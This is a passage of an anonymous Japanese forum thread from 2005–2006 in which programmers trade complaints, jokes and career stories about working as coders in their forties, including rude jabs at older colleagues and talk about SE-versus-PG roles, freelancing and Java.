336 ：仕様書無しさん：2005/09/17(土) 12:59:47

ボケかましてるつもりらしい
やっぱ40代の高齢プログラマともなると切れ味ないな

337 ：仕様書無しさん：2005/09/18(日) 00:04:32

Nは最低だね
1ヶ月半で360時間も働かせて
たったの50万しか払わないくせに
気に入らないから首だってよ

338 ：仕様書無しさん：2005/09/18(日) 00:06:18

Pもかなりヤバいな
一年働いて次の契約になったら
次ぎの契約が欲しかったらいままでの一割
棒引きにしろとよ

339 ：隊員：2005/10/03(月) 23:55:45

>>337
オレもそう思う。
Ｎで今後、仕事する予定なし。

Ｆも。

340 ：隊員：2005/10/04(火) 00:05:53

>>336

オレ、アビバしかでてないけど、Javaで蟻のように楽しんでるゾ。
日蝕を使ってるが、楽なもんだよ。

昔は秀丸＝シェアウェアだけで、Ｃ＋＋追いまくったけどな。

プログラムは作るのが昔から好きでさ。

今年４２でJava覚えたゾ。
簡単じゃん。あんなもん。

341 ：仕様書無しさん：2005/10/04(火) 15:32:04

おれらも２０年後には全員４０歳以上

これは悲しい事実です

342 ：仕様書無しさん：2005/10/04(火) 17:26:26

>>337
\1,388/H （ﾟДﾟ）ﾎﾟｶｰﾝ
…それ何のバイト？

343 ：仕様書無しさん：2005/10/04(火) 17:38:02

>>342
マックやセブンイレブンより高くて楽じゃん

344 ：仕様書無しさん：2005/10/06(木) 01:10:38

今日は暇だったので先に作ったプログラムの処理の一発ＳＱＬを作ってみた。
検索時間4.3秒が、0.34秒になった。３０００行のＳＱＬだけどな。
ＤＢアクセスしまくりのそんな設計じゃだめだろとリーダーにはいえない４０代プログラマだ。
どーせﾊｹｰﾝだしな、どうでもいいや。

345 ：仕様書無しさん：2005/10/06(木) 03:09:16

>>344
そうそう、下手に効率いい方法を提案しても
派遣のくせにっつー感じでつっかかってくるだけだしな。
空返事でハイハイ従ってるのが吉だよ。

346 ：仕様書無しさん：2005/10/06(木) 05:25:41

>>344
俺もそういうことした事有るけど、他の人が保守しにくい、という理由で却下されたよ

347 ：仕様書無しさん：2005/10/06(木) 10:02:02

担当がバカだから、俺の実力を発揮して書いたコードは保守できないらしい。
仕方ないからレベルを合わせてやってるよ。

348 ：仕様書無しさん：2005/10/06(木) 15:03:33

関数のエントリポインタ使うとわかんなくなるから止めれって言われたｗ

349 ：仕様書無しさん：2005/10/08(土) 12:01:17

４０代でプログラミングしてるとは、無様だな。

350 ：仕様書無しさん：2005/10/08(土) 12:43:07

今の会社４０代後半のプログラマーがいる。
てか折れの上司。
安定を求めてるワケじゃないけど、かなり安心出来る。

前の会社は、同期で入った２５歳が最年長だったﾃﾗﾜﾛｽ

351 ：仕様書無しさん：2005/10/14(金) 23:29:53

４０代になると新しい技術を習得する勉強がつらくなりませんか？

352 ：仕様書無しさん：2005/10/15(土) 03:48:03

まぁ、若いときからプログラミングに興味がないとか、向いてないとか、上流ﾏﾝｾとか、業務ﾏﾝｾとか
の人は技術を習得するのはつらいでしょうな。いずれもやってみないとわからない部分が
あるから、机上で習得した知識で商売してる俳は、ﾈ申にはなれない。
４０代ＰＧﾈ申ともなれば、空想しただけでプログラムができるからね。実装工数はﾄﾞﾝﾋﾟｼｬだよ。

353 ：仕様書無しさん：2005/10/15(土) 04:17:26

40代でついてこれてるって、凄いなぁ。

仕様書も完璧だし、納期・バグ管理・報告書・可読性・再利用性も高そう。

そんなひとに手取り足取り教えて欲しいものだ。

うちの上司は３０代半ばだけど、面倒見は悪いからなぁ。
独りで向かってる分には、すごく捗ってそう。悪い人じゃないけど、上にはたてなそう。

354 ：隊員：2005/10/16(日) 19:04:52

オレ、４２。
会社で課長もやってたけど、上がウゼェからフリーになった。

今年、Java覚えて仕事してるけど、面白い。
こんなんで金もらえるからやめられない。

前は、顧客が７００万人いるシステムの設計何から何までやったけど「いざとなったら手が動く安心感って、快適」
あとは雇い主が、素人なら、何もこっちから提案することもないし。
適当にやっております。
結局、動くのはプログラムだから…

355 ：仕様書無しさん：2005/10/16(日) 19:43:39

開発規模が大きくなるほどプログラマは質より量になっちゃうよね。
だから一般に習得が容易なJavaとかVBとか言語としてのポテンシャルよりも
言語人口で選択されてしまう。
本当のプログラマっぽいスキルを身につけるには
小規模で軽量言語での開発経験をがしがし積むのがよさげだね。
自分でなんでもやらなきゃいけないからネットワークやサーバ構築とかの知識もつくし。
「ハッカーと画家」に感化されてｵﾚもベンチャーに転職しようと思ったよ。

356 ：仕様書無しさん：2005/10/18(火) 02:26:44

みんな月どのくらい稼いでる？
税込み売上で。

357 ：仕様書無しさん：2005/10/18(火) 21:14:24

学校でプログラミングを学んだわけでもない完全な独学
それも成り行きでなってしまったプログラマー
しかも正社員だったことは一度も無い
今でも自分の本職がＰＧだとは思えない
そんなこんなでもう４６歳・・・
周りではＰＧの才能が無いことを思い知り
さっさとＳＥやＰＭに逃げていく奴ばかり
それでも俺は死ぬまでＰＧを続けていくんだろうな・・・

358 ：仕様書無しさん：2005/10/19(水) 01:29:41

漏れは数年後の４５歳で業界から去ろうと思っている。
２０代の奴と肩をならべてＰＧしてるのもそろそろ情けなくなってきた。
プログラミング自体は楽しいが、開発作業としての奴らとの付き合いが面倒。
まぁ、どうでもいいやと言う感じだから、モチベーションの高い奴らの様におせっかいは焼かない。
プロパの支持通りに動くこに徹してマッタリ過ごしている。まぁ、真っ先にクビ切られるタイプだな。
だめだよ、おっさん。orz.....

359 ：仕様書無しさん：2005/10/19(水) 01:37:21

>>358
よくわかる。俺は３０台だけど、情けなくなってくる。
というか、やる気が続かないね。
若い奴らには仕事も効率も負けないんだけど、この仕事って
いくら成果をだしても報われない。どんどん仕事が増えるだけで、
経歴もＰＧだとなにも得をすることがない。
ＰＧとして成果をだせず、早々に脱落した奴らのほうが、
ＳＥとかなんとかになって結局経歴で得をすることになる。
この業界間違ってるね。

360 ：仕様書無しさん：2005/10/19(水) 03:20:22

そうか？俺は数年前にフリーになってベンチャー企業にもぐりこんで
技術アドバイザみたいなポジションをゲットしたんだが、なかなかいいよー。
やってることは開発環境の効率化と社員教育。
CVSも知らんヒヨコにバージョン管理の良さを教えたり、ツールを作成したり。
研修で新人を育てるのもなかなかおもろい。

なんつーか、今まで腐れ環境で仕事してきたので、せめてこの会社では
まともな開発体制（あくまで俺の趣味だが）ってもんを教えてやろうかなって気になってる。

仕事も楽なもんで、週3日は休めるし行っても定時上がり。まじ天国。
まぁ将来どうなるかは知らんけどな。

361 ：仕様書無しさん：2005/10/19(水) 03:23:49

>ＰＧとして成果をだせず、早々に脱落した奴らのほうが、
>ＳＥとかなんとかになって結局経歴で得をすることになる。

そうそう
ペーペーの素人が俺より単価高いんだろうなぁと思うと腹立ってくる
文系は使う立場、理系は使われる立場とはよく言ったもので

362 ：仕様書無しさん：2005/10/19(水) 08:38:14

>>360
プログラミングはやらないのか？
それじゃあ面白くないだろう、毎日が・・・

363 ：仕様書無しさん：2005/10/19(水) 15:24:55

>>362 それは別の仕事でやるから大丈夫。
メインの仕事量を抑えつつ、バイトで興味のある分野とか技術力にプラスになる仕事をやるようにしてる。
今は仕事３つ掛け持ちだけど、それでも週に3日は定時で帰れるしね。
あと、「開発体制の強化の為の研究」と称して新しいツールや言語も"仕事として"いじれるので、かえって以前より技術力が向上したよ。

364 ：仕様書無しさん：2005/10/19(水) 19:59:59

２０代の頃、システム全体は頭の中にあった。
原因不明のバグも頭に入れて３日も立てば、原因に気がついた。

歳と共に。この頭の中で把握できるコード量がドンドン減っていった。

４０代になるころには１０００ステップも入るかどうか。
ドキュメントも仕様書も帯域変数割り当て表も机に並べているけど、一つを見ていると
残りを忘れてしまう。
何冊ものドキュメントを見ていると、何を探していたのかわすれてしまう。

このころになると、えんびろんめんとでぃじょんなんかは丸写し状態。

365 ：仕様書無しさん：2005/10/19(水) 22:45:25

あれだろ？頭の中で割り込みハンドラへ飛べるけど
ちゃんと戻って来れないんだろ？
スッタクが不足してるんじゃないか？ｗ

366 ：仕様書無しさん：2005/10/20(木) 01:29:31

スッタクしょうがないおぢさんでつねｗ

367 ：仕様書無しさん：2005/10/20(木) 01:53:39

>>364 のオヤジは、よくある話で

「あきらかに間違ってるのに、なぜか動いてる」

って状態なんだと思うが。

368 ：仕様書無しさん：2005/10/20(木) 11:01:08

>>364
>えんびろんめんとでぃじょんなんかは
言ってるそばから抜け落ちてるし。

369 ：仕様書無しさん：2005/10/20(木) 11:08:04

>>364
お前は年とともに能力が衰えたのではない。
年をとって少々分別がつくようになり、自分が元々能力が低かったことに
気づき始めただけだ。

370 ：仕様書無しさん：2005/10/20(木) 12:37:26

>>369
酷いことをｗ。ご自分の場合についても少し語ってくださらんか？

371 ：仕様書無しさん：2005/10/20(木) 15:20:22

>>369
とよごろに収録？

372 ：仕様書無しさん：2005/10/20(木) 16:26:28

>>364 「アルジャーノンに花束を」を思い出したｗ

373 ：仕様書無しさん：2005/10/21(金) 02:19:51

P.S. please if you get a chanse put some flowrs on Algernons grave in the bak yard.

ついしん。どーかついでがあったらうらにわのアルジャーノンのおはかに花束をそなえてやてください。

374 ：仕様書無しさん：2005/10/21(金) 19:58:34

４０代のプログラマーって結局、馬鹿なだけだろ。
漏れの横にも４０過ぎのおっさんいるけどね、漏れがソース直して
やったら、文句言ってきたよ。一応プライドあるらしいけど、
言語わかってねーし、自分がわかってねーのもわかってねーし。
おっさんにはｊａｖａは無理だよ。死ねよ、おやじ。

375 ：仕様書無しさん：2005/10/21(金) 20:12:40

>>374
馬鹿は馬鹿同士仲良くやれよｗ

376 ：仕様書無しさん：2005/10/23(日) 06:46:38

>>374
プログラミングのように歴史が短くて疾走してる業界じゃ、
若い奴と年寄りは同じものでも別の視点で見てるのが当然だろう

そんなふうに了見狭いって事は、自分も年寄りになったら、下からもっとバカにされるって事さ

377 ：仕様書無しさん：2005/10/23(日) 21:12:19

ｱﾋｬﾋｬ、４０代ＰＧでも、プログラムで小僧とやりあう奴が居るとは。
漏れは、そうですか、（君は頭がいいんだね）で終わりだよ。

たまに、こんなコード書いて使い方わかってんですかと言われる事もある。
まぁ、物事の解決策には複数あるという魑魅魍魎な世の中を見てないんだね。
修正は小僧に任せて、いかに安全に帰宅するか考えた方がいいと思っている４０代ＰＧさ。
なので、来週も毎日定時あがり、小僧はバグ修正よろしく。（プロパに付き合ってもしょーがない）

378 ：仕様書無しさん：2005/10/24(月) 02:09:59

寝ててもやれる仕事はテキトーにでっちあげて小僧どもに尻拭いさせ、
自分は研究と称して趣味丸出しの仕事に精を出す。
当然それも自分が飽きるところまでやったらあとはポイっとガキに任せて次の趣味を物色。

小僧が徹夜してるのを尻目に定時で上がり子供と遊ぶ。でも給料はやつらの倍。
アーキテクトとして召還され、独り研究チームに所属する醍醐味、ここに極まれりって感じｗ

379 ：仕様書無しさん：2005/10/24(月) 11:39:04

>ここに極まれりって感じｗ
　　　　　　　いい歳こいて↑コレはキモい。

380 ：隊員：2005/10/30(日) 14:37:02

>>374
それは確かに、そのおっさんバカだな。

仕事は趣味じゃないからな。

教わり方もへたそう＜おっさん

思うに、そのおっさんはJavaができるという自分に酔ってんじゃないの？

別に特別、難易度が高いもんでもないし＜Java

オレ、４２．
JavaでWebの仕事してるけど「こんなんで金もらえるんだもんな～」って思いながら仕事してるよ。

381 ：仕様書無しさん：2005/10/30(日) 15:59:46

>364
俺は判るな、それ。
最近、システムの全体像が頭の中に全部入りきらない。
しばらくある部分に集中していると、別の部分が欠落してしまう。
戻ろうとする度に、再度構築しなおさないといけないので、時間
がかかってしょうがない。
それでも、若い奴に俺のやってる仕事ができる奴が居ないんで
しょうがない。
そろそろ、プログラム作るのも飽きてきたのに、仕事を任せられ
る奴がねーぞ、困った。
プログラミングが苦痛で仕方ないですよ、最近。

382 ：仕様書無しさん：2005/10/30(日) 16:36:47

折れも４０半ば。
記憶力は高校時代より落ちてるが、高度なものを考え抜く深い論理思考力が
高まったと感じている。苦痛は感じない。征服感がたまらない快感だ。
年をとるほど大きなプログラムが書ける、と実感する。
ちなみに過日死んだ同僚は５０過ぎだったが、折れのさらに５倍の規模を
一人でこなしていた。頭を酷使すると早死するのかもしれない。

383 ：仕様書無しさん：2005/10/30(日) 21:03:36

ちゃんと、設計の基礎や古典を習得した人であれば、年をとるほど規模の大きい
プログラムを組めると思う。
　若いときから、スパゲティコードを書いてごまかしていた人はつらいと思う。

384 ：仕様書無しさん：2005/10/30(日) 21:21:19

若いときから、スパゲティコードを書いてごまかしていた人はづらだと思う。

385 ：仕様書無しさん：2005/10/30(日) 21:23:42

・・・規模は問題にはならない。
時間は問題になるが

386 ：仕様書無しさん：2005/11/01(火) 02:16:16

プログラムを覚えると自分の仕事はもっと早く出来ると思って必死に習得した。
しかし、仕事も寄って来てしまう。
結局、ストレスも増えた。

387 ：仕様書無しさん：2005/11/01(火) 04:18:46

分野を絞って専門化するのが楽。

388 ：仕様書無しさん：2005/11/01(火) 07:30:11

>>381
すでに30半ばにして364さんみたいなんだが。
漏れが40代に入ったらやっぱりやってけんかな？
鬱だ

389 ：仕様書無しさん：2005/11/01(火) 14:15:58

>>388
人を相手にする仕事にシフトしなさい。人を相手にする仕事は定年まで出来る。
例えば貴方の上司のような仕事だ。
それをやりたいか否かは別の話だが

390 ：仕様書無しさん：2005/11/01(火) 14:24:47

俺人を相手にする仕事だけは勘弁
営業とか客商売とかにだけはなるまいと思ってこの道入った
仕事上の経過報告とか打ち合わせでイチ担当者としてなら発言できるが
進行仕切ったり予算折衝なんかは絶対できない

むかしっから交渉ごとは全部ダメ
「～でお願いします」
「何で?　やだ。だめ。」
「……すいませんでした…」

391 ：仕様書無しさん：2005/11/01(火) 19:22:24

人を相手にする仕事が初めからできないから４０代ＰＧなのだ。ｿﾀﾞﾛｵﾏｲﾗ

もう、面倒なんで、ＳＥじゃなくﾏｼﾞＰＧ(ﾌﾟﾛｸﾞﾗﾐﾝｸﾞ専門)でやろうかな。ﾄｵﾓｳｺﾉｺﾞﾛ
どーせ先ないし、orz. .

392 ：仕様書無しさん：2005/11/03(木) 13:08:25

>>391
そんな仕事は中国人やインド人にとられそうな悪寒

393 ：仕様書無しさん：2005/11/03(木) 22:56:34

１：そろそろ管理職の仕事もしなくちゃ、とか言われる。
２：押し付けられるのは無能か、最近は中国、インド人
３：納入されてくるのはソースコードらしきもの
４：泣きながら半分の日程で手直し＋自分の仕事
５：納期遅れと管理責任で降格

というシナリオ。

394 ：仕様書無しさん：2005/11/04(金) 19:15:47

マイクロソフトでがんばって仕事をしたい。
相談スレを教えてくれ。

395 ：仕様書無しさん：2005/11/04(金) 20:57:20

派遣でテスター志望なの?

396 ：仕様書無しさん：2005/11/07(月) 02:00:04

おまいら、昭和は終わりましたよ。
おまいらがプログラマーで居られる時代は、年齢的に昭和までだろ。

397 ：仕様書無しさん：2005/11/07(月) 02:54:44

おれは十代の上司に毎日、罵倒されPGしてる・・・それもまた、おつなもんじゃ・・・

398 ：仕様書無しさん：2005/11/07(月) 03:11:23

入社したら、すぐにＰＧさせられると思うが、ここで
へたに優秀でないほうが良い。
はやく脱落してＳＥまがいや管理職になったほうが得をする。
経歴でＰＧが長いほどろくなことはない。
本当に優秀なのはどっちかは別として、世の中では
ＰＧはとにかくやってはいけない。

399 ：仕様書無しさん：2005/11/07(月) 22:19:52

人使う立場になると、ＰＧ以外の使いづらい事
整理されていない頭の中をかき回したくなる。
まだＰＧの方が理路整然としている・・馬鹿だけど

400 ：仕様書無しさん：2005/11/08(火) 11:32:47

管理職になれば万事よしともならない。我輩の場合、

担当したパッケージソフトのヒットを連発してPGから管理職へ上り詰める（平取事業部長）
一億以上かけて開発したパッケージソフトがぽしゃって37で事業部ごとリストラ。その後
独立、一人有限で丸６年

PG→SE→管理職→役員→フリーPG

という人生を歩んでいる。事業部のプログラマ連中も巻き込んで自爆したわけだが、今
では、他人の運命に巻き込まれるほうが悪いと開き直れるようになった。

401 ：仕様書無しさん：2005/11/08(火) 22:33:12

今流に言うとアーキテクト？

402 ：隊員：2005/11/11(金) 21:08:05

やっぱフリーが自分には合ってる。

下から上まで一通り出来るようになると、「ふらりひとり旅」みたいなほうが落ち着く。
２０代、３０代は会社勤めしたが、今、４０代でフリーで仕事してると、風景が違ってみえる。

プログラム書いたりしてても「こんなんで金もらえんだから、やめらんない」と感じる。

403 ：仕様書無しさん：2005/11/11(金) 21:25:20

おい、おっさん

404 ：仕様書無しさん：2005/11/11(金) 22:11:32

はーい　（＾o＾）／お呼びでしょうか。

405 ：仕様書無しさん：2005/11/11(金) 22:41:09

やっぱりフリーが一番だね。
やばそうなプロジェクトからは、断れるしな
でも２０代、３０代でヒーヒー言いながら会社勤めしててよかったよ。

406 ：仕様書無しさん：2005/11/11(金) 23:00:40

いま31ですけど
一度も就職せずにずっとフリーターSﾖみたいなことしてます

407 ：仕様書無しさん：2005/11/14(月) 02:54:48

>プログラム書いたりしてても「こんなんで金もらえんだから、やめらんない」と感じる。
あるある。
自分の技術力よりちょい下ぐらいのレベルの会社を見つけると、ホンと楽だよな。
ちょっと難しい顔しとけば納期も伸びるし、スゲー楽な仕事でも相場より1割ぐらい安くするだけで神扱いｗ
いつ切られて（切って）もいいように、そういうとこを数箇所探しとけばしばらくは安泰だしな。

408 ：仕様書無しさん：2005/11/14(月) 13:03:34

>>408
結局火消しがいちばん楽だった。悪い部分を潰してゆけば
（リファクタリングしながら問題点を見つけて個々に対処してゆけば、
そしてその過程でドキュメントを整備してゆけば）、とりあえず
成果は上がってゆくし、評価もされるから、多少のわがままも言える。
「表向きはちゃんと動いていることになっているし、プロジェクトも
順調に進んでいることになっている」ケースだと、最低。

409 ：仕様書無しさん：2005/11/16(水) 12:46:21

>>408
まず、リンクの張り方から覚えような。トッチャン坊や。

410 ：仕様書無しさん：2005/11/16(水) 15:10:10

トッチャン坊やか。懐かしい表現だなｗ

411 ：仕様書無しさん：2005/11/24(木) 23:31:20

独走安定中。仕事がないのに契約は続くよ。ｻｯｻﾄﾔﾒﾀｲ

412 ：仕様書無しさん：2005/11/25(金) 01:38:14

>>411 他の仕事を掛け持ちすれば良いじゃん。

413 ：仕様書無しさん：2005/11/29(火) 23:09:32

仙人になりたくないです・・・でも、来年、仙人の領域です・・・___|￣|○

414 ：仕様書無しさん：2005/12/04(日) 19:54:53

おらおら、さっさとプログラム作れ、くそじじい！

415 ：仕様書無しさん：2005/12/09(金) 08:58:21

37歳。
歳を取って来ると
頭の中のスタック段数が減ってくる。
ソースが追えなかったりする。
よってだんだんプログラムはシンプルになってくる。

416 ：仕様書無しさん：2005/12/10(土) 12:08:53

いくら、オブジェクト指向うんぬんと言っても、
200,300行のメソッドを平気で書く奴がいるからなぁ～。（若い奴で）

Ｃ言語時代だと、１関数５０行ぐらいだったけど、
Ｊａｖａになり、１メソッド２、３行のレベルになって来た。

417 ：仕様書無しさん：2005/12/10(土) 13:55:40

>>415
わかるw
フラッシュメモリの不良ブロックが増えてく感じだ。

418 ：仕様書無しさん：2005/12/10(土) 21:34:58

---- 耳が痛いのでコピペします ----
今俺が面倒見てる隣の親父。最悪。
設計者なのに、全然設計しねーの。
いつも黙りこくってプログラムばかり見て、
誰とも会話しようとしねー。
ネタ入ってこねーんだから設計なんてできるハズねーよな。
つか、お前がいろんな資料漁って一生懸命見比べながら検討してる姿なんて一度も見たことねーし。
頭ん中で妄想してる設計なんて不安要素だらけで、
客先になんて持ってけねーよ。
みんな不安に思ってるから、裏でテメーの設計の手伝いしてやってるのに、
ここは、こうだから、こうなるんですよって説明して持っていけば、
「なんで？どうして？どうしてそうなるの？」ときやがる。
他の会社から引き継いだプロジェクトだから、
うちのチームで完璧に全体～詳細まで理解できてる人はいねーと思う。
でも、おめーはよ、事あるごとに「基本知らない人間達が集まってやってるからなー」と云うが、
少なくともおめーよりはみんなわかってるよ。
それからよ「資料ばかり見てたって駄目。プログラム追わなきゃ」っていうよな。
新規サービス設計すんのに、プログラム見るのかよ。
もっと人とコミュニケーション取って、砕いて、基本～詳細に落として行くもんだろ。
その中で既存の流れが必要なら参考程度にプログラム見るならわかるが、
お前は一日の大抵の時間をプログラムみて終わってるよな。誰とも会話せずによ。
既存プログラムだけで、新規サービスの設計ができるのか？
ばかか？
つか、いい歳しておめー氏ねや、もう。
２０代から人生やり直せや。
さもなくば、とっとと田舎の佐賀にでも帰れや

419 ：仕様書無しさん：2005/12/10(土) 21:53:29

>>418
嫌なことが合っても２ちゃんねるをはけ口にするなとお前に言いたい
仕事で見返せ！
それが男だ。

420 ：仕様書無しさん：2005/12/11(日) 01:44:04

>>418 うわ。俺の実家も佐賀だ・・・orz

421 ：仕様書無しさん：2005/12/11(日) 01:46:54

>>419
つまらない精神論ふりかざして、励ましてるつもり？

422 ：仕様書無しさん：2005/12/11(日) 03:42:36

漏れは、勝手に辞めちゃった時に、プロパが「お前は仕事してない」
と言ったので、「さっさと首切れば？」と言ってやったことがある。

不満があるなら、さっさと言えよ、若いの。
まぁ、周りの連中がストレス貯めても、ﾈ申はスルーするからな。

423 ：仕様書無しさん：2005/12/11(日) 05:41:09

セブン～エアガーデンへの招待～
CreateGame～陸海空オンライン～に続く第２弾！
ネットを利用した、バスケットゲーム製作プロジェクトを立ち上がりました

http://www112.sakura.ne.jp/~kaientai-project/seven.htm

424 ：仕様書無しさん：2005/12/11(日) 15:37:53

↑日本語が変だぞ。お前は中国人か？

425 ：仕様書無しさん：2005/12/11(日) 19:20:41

>>421
つまらない精神論てのは、おかしくね？
精神論て元々つまらないものっしょ。

426 ：仕様書無しさん：2005/12/11(日) 20:08:25

プログラムばかりやってられないでしょ。
まぁ35歳くらいまでにはSEとしてのスキルを身につけるのがベスト。

まぁSEってのは、要するに「餌のとり方」を知ることですが。

427 ：仕様書無しさん：2005/12/14(水) 01:17:51

東証システム障害は、プログラミングの知らないＳＥ、と素人ＰＧで構成されている業界の弊害を現してると思う。

今日もプログラミングの知らないＳＥの出すクラス仕様書でプログラミングをする４０ＰＧﾈ申です。
まぁ、ＳＥとしては業務を押さえ、プログラム構成を押さえて仕事したつもりなんだろうけど、少なくともクラス設計には
なってません。まぁ、作りますけどねぇ。ﾈ申が考えるとコードが１／３くらいになるんだけどさ。
時間稼ぎなんでしょうかね。>>３５歳ＳＥ

ﾈ申は、６時で退社したい訳です。

428 ：仕様書無しさん：2005/12/14(水) 10:25:49

・・・40歳位でﾈ申を自称する人なわけだ

429 ：仕様書無しさん：2005/12/14(水) 21:59:39

>>425
おもしろい精神論があってもいーｼﾞｬﾏｲｶ

430 ：仕様書無しさん：2005/12/15(木) 22:31:30

４０ＰＧ、また６時で帰った。

その分、２０代ＰＧが３倍くらいコード書いてる。
なんか、自分が効率のいいコードを書いてると勘違いしてるようだ。

431 ：仕様書無しさん：2005/12/15(木) 23:19:54

>>430
そのコードが仕様を満たして可読性も良く保守性も高いものなら
何も問題ないだろ

432 ：仕様書無しさん：2005/12/16(金) 05:53:58

コーディングは量じゃないよ、質だよ。

ステップ数が多いから、あんたは優秀ってのは大間違い。
同じ処理を繰り返し書いてステップ数が増えるアホは多い。

433 ：仕様書無しさん：2005/12/16(金) 19:33:30

標準関数である機能を再開発とかな

434 ：仕様書無しさん：2005/12/16(金) 20:19:26

有能な奴が仕事を早く上げて帰るならいいことだし、
無能な奴が残業せずに帰るのもよいことだ。

有能な奴が残業するのはよりよい事であり、
それがサビ残なら最高じゃないか。

435 ：仕様書無しさん：2005/12/16(金) 22:16:45

>>433
標準関数のなかには仕様上エラーチェックが甘いものもあるので、
そのあたりを強化した自社ライブラリを作ることもあるよ。

436 ：仕様書無しさん：2005/12/16(金) 22:35:21

しかし結果は劣化版

437 ：仕様書無しさん：2005/12/16(金) 23:30:02

まぁSEとしてのおしゃべり能力も必要だけど、
基本として高いスキルがないと、様々な仕事に対応できない。

土台（スキル）があった上でのSEを目指そう

438 ：仕様書無しさん：2005/12/19(月) 21:08:32

>>436
assert入りのラッパは普通に使うだろ

439 ：仕様書無しさん：2005/12/20(火) 02:27:02

　　とっとてってとっととっとてっとてっととっとてー

440 ：仕様書無しさん：2005/12/30(金) 21:00:39

>>397
おつなもんてｗｗｗ
ドMですか？ｗｗｗｗ

441 ：仕様書無しさん：2005/12/31(土) 04:06:09

目指すって、もう遅いだろ。

442 ：仕様書無しさん：2005/12/31(土) 20:57:11

そもそもＳＥは最も優秀なＰＧがなってしかるべきなのに、日本ではそれとまったく逆になっている。

443 ：仕様書無しさん：2005/12/31(土) 21:01:18

日本の優秀なＰＧってのは口の減らねぇ無礼な奴のことだよな。
んなもん、ＳＥになれるわけねぇーだろ。

444 ：仕様書無しさん：2005/12/31(土) 21:12:47

優秀PGの口撃
443は怯えている
443は逃げ出した

445 ：仕様書無しさん：2006/01/01(日) 08:33:06

>>431 その通りだな。求められていることを必要最小限で満たせば、
それ以上をやるのは、混乱の元だし、そういうのは、テストでブラッシュアップしたほうが効率がいい。

40台の仕事振りとしては、会社の財布にも優しくていいんじゃないか？
単価高いだろ？

446 ：仕様書無しさん：2006/01/01(日) 09:51:10

>>442
分ける事がそもそも間違いだろう。　
　プログラミングはそもそも　設計＝コーデングでなけりゃね

447 ：仕様書無しさん：2006/01/07(土) 22:30:59

このスレ、書いている椰子に40代が本当にいるのか疑問

448 ：仕様書無しさん：2006/01/07(土) 22:33:00

>>447
俺は３０代後半だ
もうPGじゃあないがな

449 ：仕様書無しさん：2006/01/08(日) 04:12:21

そろそろやめたいけど、なんかプログラマーよりいいバイトあるかな？
もちろん、４０代だけどさ。とりあえず案件まだあるみたいだし。

450 ：自分は49歳だ：2006/01/08(日) 11:37:01

>>447
疑問は晴れたか？

451 ：おれは31歳：2006/01/09(月) 10:03:00

年下のくせに客が指示してくるのがムカつく

452 ：仕様書無しさん：2006/01/10(火) 00:16:00

42歳です。
プログラム書きはじめてもう27年くらいになりますが、
最近では、布団に入ってバグの原因を考えていると、すぐに寝られます。
そして、朝起きた瞬間に、バグの原因が突然ひらめきます。
不思議です。

453 ：仕様書無しさん：2006/01/10(火) 00:41:15

そのまま目覚めなくてもいいですよｗ

454 ：仕様書無しさん：2006/01/10(火) 00:41:40

SEとPGを分けるのって、汎用機時代の名残だよな。

455 ：仕様書無しさん：2006/01/10(火) 01:39:58

古参のSEって何でも一人でやっちゃう傾向があるね
PGが基本設計に入らないとデスマーチ確定なんだけどなぁ

456 ：仕様書無しさん：2006/01/10(火) 08:25:29

>>455
基本設計に入るならＳＥだよ。ＳＥ分の給料もらえ。

457 ：仕様書無しさん：2006/01/17(火) 23:19:35

>>456
プログラムが書けない奴をSEと呼ぶのが昨今のトレンドらしい。
実装レベルの話が解るSEは、最近では PG （またはオタクとか
専門バカとか技術屋とか）と呼ばれて冷や飯を喰わされているらしい。

458 ：仕様書無しさん：2006/01/25(水) 00:54:08

PGしかできない香具師ってそうそういないだろ。
余程のコボラーだったのならわからんが。

459 ：仕様書無しさん：2006/02/08(水) 19:13:17

生涯PGやるつもりでいたんだが、
40過ぎたらそうも言ってられん、、、
と言う状況で、ちょっと離れてるとコーディングが面倒になるなあ

460 ：仕様書無しさん：2006/02/16(木) 20:02:22

おっさん、死んでもうた。

461 ：仕様書無しさん：2006/03/17(金) 21:01:07

実装ってどういう意味？

462 ：仕様書無しさん：2006/03/17(金) 23:06:59

コボルがまだまだ生き残ってるんだな。
バージョンアップが10年くらいないので20年前のソースでも動くぞ。
これはマイクロソフトにはまねのできない芸当。

463 ：仕様書無しさん：2006/03/19(日) 14:03:55

ソフトの場合仮装かも。

464 ：仕様書無しさん：2006/03/20(月) 00:15:50

MSは、TRONに負ける日がくるかも。

465 ：仕様書無しさん：2006/03/20(月) 01:15:05

こねー。

466 ：仕様書無しさん：2006/03/20(月) 01:19:59

スレの内容と関係ねえよな、TRON

そういやオレの知ってる40代以上は
みんなTRONをボロクソに批判するので
面白い（ｗ

467 ：仕様書無しさん：2006/03/20(月) 01:39:30

いやあのＣＧは当時としては秀逸だったと思うが。

468 ：仕様書無しさん：2006/03/20(月) 07:42:37

そっちのTRONかよ

469 ：仕様書無しさん：2006/03/21(火) 13:06:05

仮装に反応したんだろ。

470 ：仕様書無しさん：2006/03/22(水) 15:02:08

CGじゃないけどな

471 ：仕様書無しさん：2006/03/27(月) 04:48:00

ＴＲＯＮの天敵はLinuxでしょ？

472 ：仕様書無しさん：2006/03/32(土) 20:12:23

４０代ＰＧで、さて上流工程でもするかと言っても、
業務知識がないと駄目ですってさ、単なる年齢差別じゃん。
経歴書見てるんだから分かるだろが、呼ぶなよ。ﾀｺﾀｶﾊｼ

473 ：仕様書無しさん：2006/04/03(月) 00:44:16

>経歴書見てるんだから分かるだろが、呼ぶなよ
これほんとそう思う。
とにかく行ってって営業に言われて、行ってみると
明らかに分野が違う。書類みた段階で判断しろと。

474 ：仕様書無しさん：2006/04/03(月) 00:48:24

採用する気もないのに面接で時間を埋めてるだけ。

475 ：仕様書無しさん：2006/04/04(火) 22:47:57

>474
時間を埋めるというより、業務日報を埋めるネタ。

476 ：仕様書無しさん：2006/04/25(火) 04:25:44

保守

477 ：ぬるぽ：2006/04/25(火) 11:44:48

>>476
意味のないことするな、ぼけ

478 ：仕様書無しさん：2006/04/25(火) 12:31:53

今月中には仕事決まりそーもねぇーな。

479 ：仕様書無しさん：2006/04/26(水) 00:15:42

日本ファルコム×エキサイト『ソーサリアンオンライン』始動 2006/4/24
●βテストは2006年5月、正式サービスは7月スタート
http://www.famitsu.com/pcent/news/2006/04/24/505,1145854373,52169,0,0.html
http://www.falcom.co.jp/download/movie/sorc_demo.wmv

480 ：仕様書無しさん：2006/04/29(土) 04:10:25

>>477
人糞を食らえ、ぼけ！！！

481 ：仕様書無しさん：2006/05/08(月) 06:23:35

保守

482 ：仕様書無しさん：2006/05/16(火) 22:20:08

>>458
はい！COBOL ONLY PGですが、まだ元気に生きてます。

